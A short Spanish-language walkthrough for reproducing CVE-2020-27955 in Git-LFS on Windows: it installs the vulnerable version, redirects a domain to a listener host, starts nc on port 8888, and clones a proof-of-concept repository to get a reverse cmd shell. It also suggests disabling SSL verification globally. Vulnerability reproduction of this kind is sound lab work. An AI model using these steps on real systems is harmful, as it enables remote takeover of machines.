Reproducción de la vulnerabilidad CVE-2020-27955

1、En la máquina Windows, descargue la versión vulnerable de Git-LFS

Dirección de descarga: https://github.com/git-for-windows/git/releases/tag/v2.29.2.windows.1

2、Instale Git-LFS en la máquina Windows y agregue la siguiente información al archivo hosts: 10.1.1.5 es el host donde nc escucha en el puerto 8888 (puede reemplazarse)

10.1.1.5 abcall.xyz

3、En el host 10.1.1.5, ejecute nc en el puerto 8888 en modo escucha

┌──(root㉿hostname)-[~]

└─# nc

Línea de comandos: -l -p 8888

4、En el símbolo del sistema (cmd) de la máquina Windows, introduzca:

git clone https://github.com/z50913/CVE-2020-27955.git

5、10.1.1.5 obtiene una shell cmd de la máquina Windows

Otros

Si se produce un error de certificado SSL, primero ejecute el siguiente comando para omitir la verificación SSL y luego vuelva a clonar:

git config --global http.sslverify false